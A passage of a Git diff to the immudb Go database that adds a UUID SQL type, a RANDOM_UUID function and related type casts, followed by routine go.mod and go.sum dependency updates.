b/embedded/sql/stmt.go @@ -28,6 +28,7 @@ import ( "time" "github.com/codenotary/immudb/embedded/store" + "github.com/google/uuid" ) const ( @@ -54,6 +55,7 @@ const ( IntegerType SQLValueType = "INTEGER" BooleanType SQLValueType = "BOOLEAN" VarcharType SQLValueType = "VARCHAR" + UUIDType SQLValueType = "UUID" BLOBType SQLValueType = "BLOB" Float64Type SQLValueType = "FLOAT" TimestampType SQLValueType = "TIMESTAMP" @@ -111,6 +113,7 @@ const ( const ( NowFnCall string = "NOW" + UUIDFnCall string = "RANDOM_UUID" DatabasesFnCall string = "DATABASES" TablesFnCall string = "TABLES" ColumnsFnCall string = "COLUMNS" @@ -1723,6 +1726,72 @@ func (v *Varchar) Compare(val TypedValue) (int, error) { return bytes.Compare([]byte(v.val), []byte(rval)), nil } +type UUID struct { + val uuid.UUID +} + +func NewUUID(val uuid.UUID) *UUID { + return &UUID{val: val} +} + +func (v *UUID) Type() SQLValueType { + return UUIDType +} + +func (v *UUID) IsNull() bool { + return false +} + +func (v *UUID) inferType(cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) (SQLValueType, error) { + return UUIDType, nil +} + +func (v *UUID) requiresType(t SQLValueType, cols map[string]ColDescriptor, params map[string]SQLValueType, implicitTable string) error { + if t != UUIDType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, UUIDType, t) + } + + return nil +} + +func (v *UUID) substitute(params map[string]interface{}) (ValueExp, error) { + return v, nil +} + +func (v *UUID) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { + return v, nil +} + +func (v *UUID) reduceSelectors(row *Row, implicitTable string) ValueExp { + return v +} + +func (v *UUID) isConstant() bool { + return true +} + +func (v *UUID) selectorRanges(table *Table, asTable string, params map[string]interface{}, rangesByColID map[uint32]*typedValueRange) error { + return nil +} + +func (v *UUID) RawValue() interface{} { + return v.val +} + +func (v *UUID) Compare(val TypedValue) (int, error) { + if val.IsNull() { + return 1, nil + } + + if val.Type() != UUIDType { + return 0, ErrNotComparableValues + } + + rval := val.RawValue().(uuid.UUID) + + return bytes.Compare(v.val[:], rval[:]), nil +} + type Bool struct { val bool } @@ -1951,6 +2020,10 @@ func (v *FnCall) inferType(cols map[string]ColDescriptor, params map[string]SQLV return TimestampType, nil } + if strings.ToUpper(v.fn) == UUIDFnCall { + return UUIDType, nil + } + return AnyType, fmt.Errorf("%w: unknown function %s", ErrIllegalArguments, v.fn) } @@ -1963,6 +2036,14 @@ func (v *FnCall) requiresType(t SQLValueType, cols map[string]ColDescriptor, par return nil } + if strings.ToUpper(v.fn) == UUIDFnCall { + if t != UUIDType { + return fmt.Errorf("%w: %v can not be interpreted as type %v", ErrInvalidTypes, UUIDType, t) + } + + return nil + } + return fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) } @@ -1990,6 +2071,13 @@ func (v *FnCall) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, return &Timestamp{val: tx.Timestamp().Truncate(time.Microsecond).UTC()}, nil } + if strings.ToUpper(v.fn) == UUIDFnCall { + if len(v.params) > 0 { + return nil, fmt.Errorf("%w: '%s' function does not expect any argument but %d were provided", ErrIllegalArguments, UUIDFnCall, len(v.params)) + } + return &UUID{val: uuid.New()}, nil + } + return nil, fmt.Errorf("%w: unkown function %s", ErrIllegalArguments, v.fn) } diff --git a/embedded/sql/type_conversion.go b/embedded/sql/type_conversion.go index 06d341e82e..5c390b9872 100644 --- a/embedded/sql/type_conversion.go +++ b/embedded/sql/type_conversion.go @@ -20,6 +20,8 @@ import ( "fmt" "strconv" "time" + + "github.com/google/uuid" ) type converterFunc func(TypedValue) (TypedValue, error) @@ -88,6 +90,7 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { "%w: only INTEGER and VARCHAR types can be cast as TIMESTAMP", ErrUnsupportedCast, ) + } if dst == Float64Type { @@ -123,6 +126,7 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { "%w: only INTEGER and VARCHAR types can be cast as FLOAT", ErrUnsupportedCast, ) + } if dst == IntegerType { @@ -158,6 +162,112 @@ func getConverter(src, dst SQLValueType) (converterFunc, error) { "%w: only INTEGER and VARCHAR types can be cast as INTEGER", ErrUnsupportedCast, ) + + } + + if dst == UUIDType { + + if src == VarcharType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: UUIDType}, nil + } + + strVal := val.RawValue().(string) + + u, err := uuid.Parse(strVal) + if err != nil { + return nil, fmt.Errorf( + "%w: can not cast string '%s' as an UUID", + ErrUnsupportedCast, + val.RawValue().(string), + ) + } + + return &UUID{val: u}, nil + }, nil + } + + if src == BLOBType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: UUIDType}, nil + } + + bs := val.RawValue().([]byte) + + u, err := uuid.FromBytes(bs) + if err != nil { + return nil, fmt.Errorf( + "%w: can not cast blob '%s' as an UUID", + ErrUnsupportedCast, + val.RawValue().(string), + ) + } + + return &UUID{val: u}, nil + }, nil + } + + return nil, fmt.Errorf( + "%w: only BLOB and VARCHAR types can be cast as UUID", + ErrUnsupportedCast, + ) + + } + + if dst == BLOBType { + + if src == VarcharType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: BLOBType}, nil + } + + strVal := val.RawValue().(string) + + return &Blob{val: []byte(strVal)}, nil + }, nil + } + + if src == UUIDType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: BLOBType}, nil + } + + u := val.RawValue().(uuid.UUID) + + return &Blob{val: u[:]}, nil + }, nil + } + + return nil, fmt.Errorf( + "%w: only UUID and VARCHAR types can be cast as BLOB", + ErrUnsupportedCast, + ) + + } + + if dst == VarcharType { + + if src == UUIDType { + return func(val TypedValue) (TypedValue, error) { + if val.RawValue() == nil { + return &NullValue{t: VarcharType}, nil + } + + u := val.RawValue().(uuid.UUID) + + return &Varchar{val: u.String()}, nil + }, nil + } + + return nil, fmt.Errorf( + "%w: only UUID type can be cast as VARCHAR", + ErrUnsupportedCast, + ) + } return nil, fmt.Errorf( diff --git a/go.mod b/go.mod index 45da07609a..53a6385ce0 100644 --- a/go.mod +++ b/go.mod @@ -7,6 +7,7 @@ require ( github.com/gizak/termui/v3 v3.1.0 github.com/gogo/protobuf v1.3.2 github.com/golang/protobuf v1.5.3 + github.com/google/uuid v1.3.1 github.com/grpc-ecosystem/go-grpc-middleware v1.3.0 github.com/grpc-ecosystem/go-grpc-prometheus v1.2.0 github.com/grpc-ecosystem/grpc-gateway v1.16.0 @@ -61,7 +62,6 @@ require ( github.com/fsnotify/fsnotify v1.6.0 // indirect github.com/ghodss/yaml v1.0.0 // indirect github.com/golang/glog v1.1.0 // indirect - github.com/google/uuid v1.3.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect github.com/huandu/xstrings v1.3.2 // indirect github.com/imdario/mergo v0.3.13 // indirect diff --git a/go.sum b/go.sum index 3922d88008..1117271de4 100644 --- a/go.sum +++ b/go.sum @@ -13,747 +13,26 @@ cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKV cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= -cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= -cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= -cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= -cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= -cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= -cloud.google.com/go v0.83.0/go.mod h1:Z7MJUsANfY0pYPdw0lbnivPx4/vhy/e2FEkSkF7vAVY= -cloud.google.com/go v0.84.0/go.mod h1:RazrYuxIK6Kb7YrzzhPoLmCVzl7Sup4NrbKPg8KHSUM= -cloud.google.com/go v0.87.0/go.mod h1:TpDYlFy7vuLzZMMZ+B6iRiELaY7z/gJPaqbMx6mlWcY= -cloud.google.com/go v0.90.0/go.mod h1:kRX0mNRHe0e2rC6oNakvwQqzyDmg57xJ+SZU1eT2aDQ= -cloud.google.com/go v0.93.3/go.mod h1:8utlLll2EF5XMAV15woO4lSbWQlk8rer9aLOfLh7+YI= -cloud.google.com/go v0.94.1/go.mod h1:qAlAugsXlC+JWO+Bke5vCtc9ONxjQT3drlTTnAplMW4= -cloud.google.com/go v0.97.0/go.mod h1:GF7l59pYBVlXQIBLx3a761cZ41F9bBH3JUlihCt2Udc= -cloud.google.com/go v0.99.0/go.mod h1:w0Xx2nLzqWJPuozYQX+hFfCSI8WioryfRDzkoI/Y2ZA= -cloud.google.com/go v0.100.1/go.mod h1:fs4QogzfH5n2pBXBP9vRiU+eCny7lD2vmFZy79Iuw1U= -cloud.google.com/go v0.100.2/go.mod h1:4Xra9TjzAeYHrl5+oeLlzbM2k3mjVhZh4UqTZ//w99A= -cloud.google.com/go v0.102.0/go.mod h1:oWcCzKlqJ5zgHQt9YsaeTY9KzIvjyy0ArmiBUgpQ+nc= -cloud.google.com/go v0.102.1/go.mod h1:XZ77E9qnTEnrgEOvr4xzfdX5TRo7fB4T2F4O6+34hIU= -cloud.google.com/go v0.104.0/go.mod h1:OO6xxXdJyvuJPcEPBLN9BJPD+jep5G1+2U5B5gkRYtA= -cloud.google.com/go v0.105.0/go.mod h1:PrLgOJNe5nfE9UMxKxgXj4mD3voiP+YQ6gdt6KMFOKM= -cloud.google.com/go v0.107.0/go.mod h1:wpc2eNrD7hXUTy8EKS10jkxpZBjASrORK7goS+3YX2I= -cloud.google.com/go v0.110.0/go.mod h1:SJnCLqQ0FCFGSZMUNUf84MV3Aia54kn7pi8st7tMzaY= -cloud.google.com/go v0.110.2/go.mod h1:k04UEeEtb6ZBRTv3dZz4CeJC3jKGxyhl0sAiVVquxiw= -cloud.google.com/go v0.110.4/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= -cloud.google.com/go v0.110.6/go.mod h1:+EYjdK8e5RME/VY/qLCAtuyALQ9q67dvuum8i+H5xsI= -cloud.google.com/go/accessapproval v1.4.0/go.mod h1:zybIuC3KpDOvotz59lFe5qxRZx6C75OtwbisN56xYB4= -cloud.google.com/go/accessapproval v1.5.0/go.mod h1:HFy3tuiGvMdcd/u+Cu5b9NkO1pEICJ46IR82PoUdplw= -cloud.google.com/go/accessapproval v1.6.0/go.mod h1:R0EiYnwV5fsRFiKZkPHr6mwyk2wxUJ30nL4j2pcFY2E= -cloud.google.com/go/accessapproval v1.7.1/go.mod h1:JYczztsHRMK7NTXb6Xw+dwbs/WnOJxbo/2mTI+Kgg68= -cloud.google.com/go/accesscontextmanager v1.3.0/go.mod h1:TgCBehyr5gNMz7ZaH9xubp+CE8dkrszb4oK9CWyvD4o= -cloud.google.com/go/accesscontextmanager v1.4.0/go.mod h1:/Kjh7BBu/Gh83sv+K60vN9QE5NJcd80sU33vIe2IFPE= -cloud.google.com/go/accesscontextmanager v1.6.0/go.mod h1:8XCvZWfYw3K/ji0iVnp+6pu7huxoQTLmxAbVjbloTtM= -cloud.google.com/go/accesscontextmanager v1.7.0/go.mod h1:CEGLewx8dwa33aDAZQujl7Dx+uYhS0eay198wB/VumQ= -cloud.google.com/go/accesscontextmanager v1.8.0/go.mod h1:uI+AI/r1oyWK99NN8cQ3UK76AMelMzgZCvJfsi2c+ps= -cloud.google.com/go/accesscontextmanager v1.8.1/go.mod h1:JFJHfvuaTC+++1iL1coPiG1eu5D24db2wXCDWDjIrxo= -cloud.google.com/go/aiplatform v1.22.0/go.mod h1:ig5Nct50bZlzV6NvKaTwmplLLddFx0YReh9WfTO5jKw= -cloud.google.com/go/aiplatform v1.24.0/go.mod h1:67UUvRBKG6GTayHKV8DBv2RtR1t93YRu5B1P3x99mYY= -cloud.google.com/go/aiplatform v1.27.0/go.mod h1:Bvxqtl40l0WImSb04d0hXFU7gDOiq9jQmorivIiWcKg= -cloud.google.com/go/aiplatform v1.35.0/go.mod h1:7MFT/vCaOyZT/4IIFfxH4ErVg/4ku6lKv3w0+tFTgXQ= -cloud.google.com/go/aiplatform v1.36.1/go.mod h1:WTm12vJRPARNvJ+v6P52RDHCNe4AhvjcIZ/9/RRHy/k= -cloud.google.com/go/aiplatform v1.37.0/go.mod h1:IU2Cv29Lv9oCn/9LkFiiuKfwrRTq+QQMbW+hPCxJGZw= -cloud.google.com/go/aiplatform v1.45.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= -cloud.google.com/go/aiplatform v1.48.0/go.mod h1:Iu2Q7sC7QGhXUeOhAj/oCK9a+ULz1O4AotZiqjQ8MYA= -cloud.google.com/go/analytics v0.11.0/go.mod h1:DjEWCu41bVbYcKyvlws9Er60YE4a//bK6mnhWvQeFNI= -cloud.google.com/go/analytics v0.12.0/go.mod h1:gkfj9h6XRf9+TS4bmuhPEShsh3hH8PAZzm/41OOhQd4= -cloud.google.com/go/analytics v0.17.0/go.mod h1:WXFa3WSym4IZ+JiKmavYdJwGG/CvpqiqczmL59bTD9M= -cloud.google.com/go/analytics v0.18.0/go.mod h1:ZkeHGQlcIPkw0R/GW+boWHhCOR43xz9RN/jn7WcqfIE= -cloud.google.com/go/analytics v0.19.0/go.mod h1:k8liqf5/HCnOUkbawNtrWWc+UAzyDlW89doe8TtoDsE= -cloud.google.com/go/analytics v0.21.2/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= -cloud.google.com/go/analytics v0.21.3/go.mod h1:U8dcUtmDmjrmUTnnnRnI4m6zKn/yaA5N9RlEkYFHpQo= -cloud.google.com/go/apigateway v1.3.0/go.mod h1:89Z8Bhpmxu6AmUxuVRg/ECRGReEdiP3vQtk4Z1J9rJk= -cloud.google.com/go/apigateway v1.4.0/go.mod h1:pHVY9MKGaH9PQ3pJ4YLzoj6U5FUDeDFBllIz7WmzJoc= -cloud.google.com/go/apigateway v1.5.0/go.mod h1:GpnZR3Q4rR7LVu5951qfXPJCHquZt02jf7xQx7kpqN8= -cloud.google.com/go/apigateway v1.6.1/go.mod h1:ufAS3wpbRjqfZrzpvLC2oh0MFlpRJm2E/ts25yyqmXA= -cloud.google.com/go/apigeeconnect v1.3.0/go.mod h1:G/AwXFAKo0gIXkPTVfZDd2qA1TxBXJ3MgMRBQkIi9jc= -cloud.google.com/go/apigeeconnect v1.4.0/go.mod h1:kV4NwOKqjvt2JYR0AoIWo2QGfoRtn/pkS3QlHp0Ni04= -cloud.google.com/go/apigeeconnect v1.5.0/go.mod h1:KFaCqvBRU6idyhSNyn3vlHXc8VMDJdRmwDF6JyFRqZ8= -cloud.google.com/go/apigeeconnect v1.6.1/go.mod h1:C4awq7x0JpLtrlQCr8AzVIzAaYgngRqWf9S5Uhg+wWs= -cloud.google.com/go/apigeeregistry v0.4.0/go.mod h1:EUG4PGcsZvxOXAdyEghIdXwAEi/4MEaoqLMLDMIwKXY= -cloud.google.com/go/apigeeregistry v0.5.0/go.mod h1:YR5+s0BVNZfVOUkMa5pAR2xGd0A473vA5M7j247o1wM= -cloud.google.com/go/apigeeregistry v0.6.0/go.mod h1:BFNzW7yQVLZ3yj0TKcwzb8n25CFBri51GVGOEUcgQsc= -cloud.google.com/go/apigeeregistry v0.7.1/go.mod h1:1XgyjZye4Mqtw7T9TsY4NW10U7BojBvG4RMD+vRDrIw= -cloud.google.com/go/apikeys v0.4.0/go.mod h1:XATS/yqZbaBK0HOssf+ALHp8jAlNHUgyfprvNcBIszU= -cloud.google.com/go/apikeys v0.5.0/go.mod h1:5aQfwY4D+ewMMWScd3hm2en3hCj+BROlyrt3ytS7KLI= -cloud.google.com/go/apikeys v0.6.0/go.mod h1:kbpXu5upyiAlGkKrJgQl8A0rKNNJ7dQ377pdroRSSi8= -cloud.google.com/go/appengine v1.4.0/go.mod h1:CS2NhuBuDXM9f+qscZ6V86m1MIIqPj3WC/UoEuR1Sno= -cloud.google.com/go/appengine v1.5.0/go.mod h1:TfasSozdkFI0zeoxW3PTBLiNqRmzraodCWatWI9Dmak= -cloud.google.com/go/appengine v1.6.0/go.mod h1:hg6i0J/BD2cKmDJbaFSYHFyZkgBEfQrDg/X0V5fJn84= -cloud.google.com/go/appengine v1.7.0/go.mod h1:eZqpbHFCqRGa2aCdope7eC0SWLV1j0neb/QnMJVWx6A= -cloud.google.com/go/appengine v1.7.1/go.mod h1:IHLToyb/3fKutRysUlFO0BPt5j7RiQ45nrzEJmKTo6E= -cloud.google.com/go/appengine v1.8.1/go.mod h1:6NJXGLVhZCN9aQ/AEDvmfzKEfoYBlfB80/BHiKVputY= -cloud.google.com/go/area120 v0.5.0/go.mod h1:DE/n4mp+iqVyvxHN41Vf1CR602GiHQjFPusMFW6bGR4= -cloud.google.com/go/area120 v0.6.0/go.mod h1:39yFJqWVgm0UZqWTOdqkLhjoC7uFfgXRC8g/ZegeAh0= -cloud.google.com/go/area120 v0.7.0/go.mod h1:a3+8EUD1SX5RUcCs3MY5YasiO1z6yLiNLRiFrykbynY= -cloud.google.com/go/area120 v0.7.1/go.mod h1:j84i4E1RboTWjKtZVWXPqvK5VHQFJRF2c1Nm69pWm9k= -cloud.google.com/go/area120 v0.8.1/go.mod h1:BVfZpGpB7KFVNxPiQBuHkX6Ed0rS51xIgmGyjrAfzsg= -cloud.google.com/go/artifactregistry v1.6.0/go.mod h1:IYt0oBPSAGYj/kprzsBjZ/4LnG/zOcHyFHjWPCi6SAQ= -cloud.google.com/go/artifactregistry v1.7.0/go.mod h1:mqTOFOnGZx8EtSqK/ZWcsm/4U8B77rbcLP6ruDU2Ixk= -cloud.google.com/go/artifactregistry v1.8.0/go.mod h1:w3GQXkJX8hiKN0v+at4b0qotwijQbYUqF2GWkZzAhC0= -cloud.google.com/go/artifactregistry v1.9.0/go.mod h1:2K2RqvA2CYvAeARHRkLDhMDJ3OXy26h3XW+3/Jh2uYc= -cloud.google.com/go/artifactregistry v1.11.1/go.mod h1:lLYghw+Itq9SONbCa1YWBoWs1nOucMH0pwXN1rOBZFI= -cloud.google.com/go/artifactregistry v1.11.2/go.mod h1:nLZns771ZGAwVLzTX/7Al6R9ehma4WUEhZGWV6CeQNQ= -cloud.google.com/go/artifactregistry v1.12.0/go.mod h1:o6P3MIvtzTOnmvGagO9v/rOjjA0HmhJ+/6KAXrmYDCI= -cloud.google.com/go/artifactregistry v1.13.0/go.mod h1:uy/LNfoOIivepGhooAUpL1i30Hgee3Cu0l4VTWHUC08= -cloud.google.com/go/artifactregistry v1.14.1/go.mod h1:nxVdG19jTaSTu7yA7+VbWL346r3rIdkZ142BSQqhn5E= -cloud.google.com/go/asset v1.5.0/go.mod h1:5mfs8UvcM5wHhqtSv8J1CtxxaQq3AdBxxQi2jGW/K4o= -cloud.google.com/go/asset v1.7.0/go.mod h1:YbENsRK4+xTiL+Ofoj5Ckf+O17kJtgp3Y3nn4uzZz5s= -cloud.google.com/go/asset v1.8.0/go.mod h1:mUNGKhiqIdbr8X7KNayoYvyc4HbbFO9URsjbytpUaW0= -cloud.google.com/go/asset v1.9.0/go.mod h1:83MOE6jEJBMqFKadM9NLRcs80Gdw76qGuHn8m3h8oHQ= -cloud.google.com/go/asset v1.10.0/go.mod h1:pLz7uokL80qKhzKr4xXGvBQXnzHn5evJAEAtZiIb0wY= -cloud.google.com/go/asset v1.11.1/go.mod h1:fSwLhbRvC9p9CXQHJ3BgFeQNM4c9x10lqlrdEUYXlJo= -cloud.google.com/go/asset v1.12.0/go.mod h1:h9/sFOa4eDIyKmH6QMpm4eUK3pDojWnUhTgJlk762Hg= -cloud.google.com/go/asset v1.13.0/go.mod h1:WQAMyYek/b7NBpYq/K4KJWcRqzoalEsxz/t/dTk4THw= -cloud.google.com/go/asset v1.14.1/go.mod h1:4bEJ3dnHCqWCDbWJ/6Vn7GVI9LerSi7Rfdi03hd+WTQ= -cloud.google.com/go/assuredworkloads v1.5.0/go.mod h1:n8HOZ6pff6re5KYfBXcFvSViQjDwxFkAkmUFffJRbbY= -cloud.google.com/go/assuredworkloads v1.6.0/go.mod h1:yo2YOk37Yc89Rsd5QMVECvjaMKymF9OP+QXWlKXUkXw= -cloud.google.com/go/assuredworkloads v1.7.0/go.mod h1:z/736/oNmtGAyU47reJgGN+KVoYoxeLBoj4XkKYscNI= -cloud.google.com/go/assuredworkloads v1.8.0/go.mod h1:AsX2cqyNCOvEQC8RMPnoc0yEarXQk6WEKkxYfL6kGIo= -cloud.google.com/go/assuredworkloads v1.9.0/go.mod h1:kFuI1P78bplYtT77Tb1hi0FMxM0vVpRC7VVoJC3ZoT0= -cloud.google.com/go/assuredworkloads v1.10.0/go.mod h1:kwdUQuXcedVdsIaKgKTp9t0UJkE5+PAVNhdQm4ZVq2E= -cloud.google.com/go/assuredworkloads v1.11.1/go.mod h1:+F04I52Pgn5nmPG36CWFtxmav6+7Q+c5QyJoL18Lry0= -cloud.google.com/go/automl v1.5.0/go.mod h1:34EjfoFGMZ5sgJ9EoLsRtdPSNZLcfflJR39VbVNS2M0= -cloud.google.com/go/automl v1.6.0/go.mod h1:ugf8a6Fx+zP0D59WLhqgTDsQI9w07o64uf/Is3Nh5p8= -cloud.google.com/go/automl v1.7.0/go.mod h1:RL9MYCCsJEOmt0Wf3z9uzG0a7adTT1fe+aObgSpkCt8= -cloud.google.com/go/automl v1.8.0/go.mod h1:xWx7G/aPEe/NP+qzYXktoBSDfjO+vnKMGgsApGJJquM= -cloud.google.com/go/automl v1.12.0/go.mod h1:tWDcHDp86aMIuHmyvjuKeeHEGq76lD7ZqfGLN6B0NuU= -cloud.google.com/go/automl v1.13.1/go.mod h1:1aowgAHWYZU27MybSCFiukPO7xnyawv7pt3zK4bheQE= -cloud.google.com/go/baremetalsolution v0.3.0/go.mod h1:XOrocE+pvK1xFfleEnShBlNAXf+j5blPPxrhjKgnIFc= -cloud.google.com/go/baremetalsolution v0.4.0/go.mod h1:BymplhAadOO/eBa7KewQ0Ppg4A4Wplbn+PsFKRLo0uI= -cloud.google.com/go/baremetalsolution v0.5.0/go.mod h1:dXGxEkmR9BMwxhzBhV0AioD0ULBmuLZI8CdwalUxuss= -cloud.google.com/go/baremetalsolution v1.1.1/go.mod h1:D1AV6xwOksJMV4OSlWHtWuFNZZYujJknMAP4Qa27QIA= -cloud.google.com/go/batch v0.3.0/go.mod h1:TR18ZoAekj1GuirsUsR1ZTKN3FC/4UDnScjT8NXImFE= -cloud.google.com/go/batch v0.4.0/go.mod h1:WZkHnP43R/QCGQsZ+0JyG4i79ranE2u8xvjq/9+STPE= -cloud.google.com/go/batch v0.7.0/go.mod h1:vLZN95s6teRUqRQ4s3RLDsH8PvboqBK+rn1oevL159g= -cloud.google.com/go/batch v1.3.1/go.mod h1:VguXeQKXIYaeeIYbuozUmBR13AfL4SJP7IltNPS+A4A= -cloud.google.com/go/beyondcorp v0.2.0/go.mod h1:TB7Bd+EEtcw9PCPQhCJtJGjk/7TC6ckmnSFS+xwTfm4= -cloud.google.com/go/beyondcorp v0.3.0/go.mod h1:E5U5lcrcXMsCuoDNyGrpyTm/hn7ne941Jz2vmksAxW8= -cloud.google.com/go/beyondcorp v0.4.0/go.mod h1:3ApA0mbhHx6YImmuubf5pyW8srKnCEPON32/5hj+RmM= -cloud.google.com/go/beyondcorp v0.5.0/go.mod h1:uFqj9X+dSfrheVp7ssLTaRHd2EHqSL4QZmH4e8WXGGU= -cloud.google.com/go/beyondcorp v0.6.1/go.mod h1:YhxDWw946SCbmcWo3fAhw3V4XZMSpQ/VYfcKGAEU8/4= -cloud.google.com/go/beyondcorp v1.0.0/go.mod h1:YhxDWw946SCbmcWo3fAhw3V4XZMSpQ/VYfcKGAEU8/4= cloud.google.com/go/bigquery v1.0.1/go.mod h1:i/xbL2UlR5RvWAURpBYZTtm/cXjCha9lbfbpx4poX+o= cloud.google.com/go/bigquery v1.3.0/go.mod h1:PjpwJnslEMmckchkHFfq+HTD2DmtT67aNFKH1/VBDHE= cloud.google.com/go/bigquery v1.4.0/go.mod h1:S8dzgnTigyfTmLBfrtrhyYhwRxG72rYxvftPBK2Dvzc= cloud.google.com/go/bigquery v1.5.0/go.mod h1:snEHRnqQbz117VIFhE8bmtwIDY80NLUZUMb4Nv6dBIg= cloud.google.com/go/bigquery v1.7.0/go.mod h1://okPTzCYNXSlb24MZs83e2Do+h+VXtc4gLoIoXIAPc= cloud.google.com/go/bigquery v1.8.0/go.mod h1:J5hqkt3O0uAFnINi6JXValWIb1v0goeZM77hZzJN/fQ= -cloud.google.com/go/bigquery v1.42.0/go.mod h1:8dRTJxhtG+vwBKzE5OseQn/hiydoQN3EedCaOdYmxRA= -cloud.google.com/go/bigquery v1.43.0/go.mod h1:ZMQcXHsl+xmU1z36G2jNGZmKp9zNY5BUua5wDgmNCfw= -cloud.google.com/go/bigquery v1.44.0/go.mod h1:0Y33VqXTEsbamHJvJHdFmtqHvMIY28aK1+dFsvaChGc= -cloud.google.com/go/bigquery v1.47.0/go.mod h1:sA9XOgy0A8vQK9+MWhEQTY6Tix87M/ZurWFIxmF9I/E= -cloud.google.com/go/bigquery v1.48.0/go.mod h1:QAwSz+ipNgfL5jxiaK7weyOhzdoAy1zFm0Nf1fysJac= -cloud.google.com/go/bigquery v1.49.0/go.mod h1:Sv8hMmTFFYBlt/ftw2uN6dFdQPzBlREY9yBh7Oy7/4Q= -cloud.google.com/go/bigquery v1.50.0/go.mod h1:YrleYEh2pSEbgTBZYMJ5SuSr0ML3ypjRB1zgf7pvQLU= -cloud.google.com/go/bigquery v1.52.0/go.mod h1:3b/iXjRQGU4nKa87cXeg6/gogLjO8C6PmuM8i5Bi/u4= -cloud.google.com/go/bigquery v1.53.0/go.mod h1:3b/iXjRQGU4nKa87cXeg6/gogLjO8C6PmuM8i5Bi/u4= -cloud.google.com/go/billing v1.4.0/go.mod h1:g9IdKBEFlItS8bTtlrZdVLWSSdSyFUZKXNS02zKMOZY= -cloud.google.com/go/billing v1.5.0/go.mod h1:mztb1tBc3QekhjSgmpf/CV4LzWXLzCArwpLmP2Gm88s= -cloud.google.com/go/billing v1.6.0/go.mod h1:WoXzguj+BeHXPbKfNWkqVtDdzORazmCjraY+vrxcyvI= -cloud.google.com/go/billing v1.7.0/go.mod h1:q457N3Hbj9lYwwRbnlD7vUpyjq6u5U1RAOArInEiD5Y= -cloud.google.com/go/billing v1.12.0/go.mod h1:yKrZio/eu+okO/2McZEbch17O5CB5NpZhhXG6Z766ss= -cloud.google.com/go/billing v1.13.0/go.mod h1:7kB2W9Xf98hP9Sr12KfECgfGclsH3CQR0R08tnRlRbc= -cloud.google.com/go/billing v1.16.0/go.mod h1:y8vx09JSSJG02k5QxbycNRrN7FGZB6F3CAcgum7jvGA= -cloud.google.com/go/binaryauthorization v1.1.0/go.mod h1:xwnoWu3Y84jbuHa0zd526MJYmtnVXn0syOjaJgy4+dM= -cloud.google.com/go/binaryauthorization v1.2.0/go.mod h1:86WKkJHtRcv5ViNABtYMhhNWRrD1Vpi//uKEy7aYEfI= -cloud.google.com/go/binaryauthorization v1.3.0/go.mod h1:lRZbKgjDIIQvzYQS1p99A7/U1JqvqeZg0wiI5tp6tg0= -cloud.google.com/go/binaryauthorization v1.4.0/go.mod h1:tsSPQrBd77VLplV70GUhBf/Zm3FsKmgSqgm4UmiDItk= -cloud.google.com/go/binaryauthorization v1.5.0/go.mod h1:OSe4OU1nN/VswXKRBmciKpo9LulY41gch5c68htf3/Q= -cloud.google.com/go/binaryauthorization v1.6.1/go.mod h1:TKt4pa8xhowwffiBmbrbcxijJRZED4zrqnwZ1lKH51U= -cloud.google.com/go/certificatemanager v1.3.0/go.mod h1:n6twGDvcUBFu9uBgt4eYvvf3sQ6My8jADcOVwHmzadg= -cloud.google.com/go/certificatemanager v1.4.0/go.mod h1:vowpercVFyqs8ABSmrdV+GiFf2H/ch3KyudYQEMM590= -cloud.google.com/go/certificatemanager v1.6.0/go.mod h1:3Hh64rCKjRAX8dXgRAyOcY5vQ/fE1sh8o+Mdd6KPgY8= -cloud.google.com/go/certificatemanager v1.7.1/go.mod h1:iW8J3nG6SaRYImIa+wXQ0g8IgoofDFRp5UMzaNk1UqI= -cloud.google.com/go/channel v1.8.0/go.mod h1:W5SwCXDJsq/rg3tn3oG0LOxpAo6IMxNa09ngphpSlnk= -cloud.google.com/go/channel v1.9.0/go.mod h1:jcu05W0my9Vx4mt3/rEHpfxc9eKi9XwsdDL8yBMbKUk= -cloud.google.com/go/channel v1.11.0/go.mod h1:IdtI0uWGqhEeatSB62VOoJ8FSUhJ9/+iGkJVqp74CGE= -cloud.google.com/go/channel v1.12.0/go.mod h1:VkxCGKASi4Cq7TbXxlaBezonAYpp1GCnKMY6tnMQnLU= -cloud.google.com/go/channel v1.16.0/go.mod h1:eN/q1PFSl5gyu0dYdmxNXscY/4Fi7ABmeHCJNf/oHmc= -cloud.google.com/go/cloudbuild v1.3.0/go.mod 